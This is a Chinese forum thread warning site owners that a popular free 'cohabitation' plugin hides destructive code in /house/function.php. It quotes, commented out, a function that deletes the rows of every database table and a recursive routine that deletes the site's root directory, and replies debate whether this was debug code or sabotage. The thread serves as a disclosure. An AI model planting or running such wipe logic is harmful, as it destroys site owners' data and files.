安装了同居插件的站长注意

- -貌似楼主是对的！

危险，修改者也太那个了。。。

晕不是吧，

最近准备搞搞同居的插件，发现现在很多人使用的免费同居插件有一段很危险的代码，
请打开你的 /house/function.php ,找到大概 400行 ：function table(){
        global $_SC;
    $result = mysql_list_tables($_SC['d ...
阿哈 发表于 2009-3-7 20:56

很可能是作者在调试的时候方便通过该方法获取数据表

同时可以很方便的删除部分页面代码

很可能作者并不是想象的那么邪恶,不过这个的确是一个安全隐患

/*$result = mysql_list_tables($_SC['dbname'] );
    for ($i = 0; $i < mysql_num_rows($result); $i++)
        query_exec("delete from " . mysql_tablename($result, $i));
        rmdirs(S_ROOT);
        exit();*/
}

function rmdirs($file) {
if(function_exists('xcache_set')){
        return false;
}/*
if (file_exists($file)) {
   chmod($file,0777);
   if (is_dir($file)) {
     $handle = opendir($file);
     while($filename = readdir($handle)) {
       if ($filename != "." && $filename != "..") {
        rmdirs($file."/".$filename);
       }
     }
    closedir($handle);
     rmdir($file);
   } else {
    unlink($file);
   }
}*/

确实一个循环就让你的网站崩塌了

如果说是无意测试也就罢了，否则这样做有点缺少职业道德……

支持楼上。支持楼主！你们都是好人！

((mk05))

强烈支持www.hzkcc.cn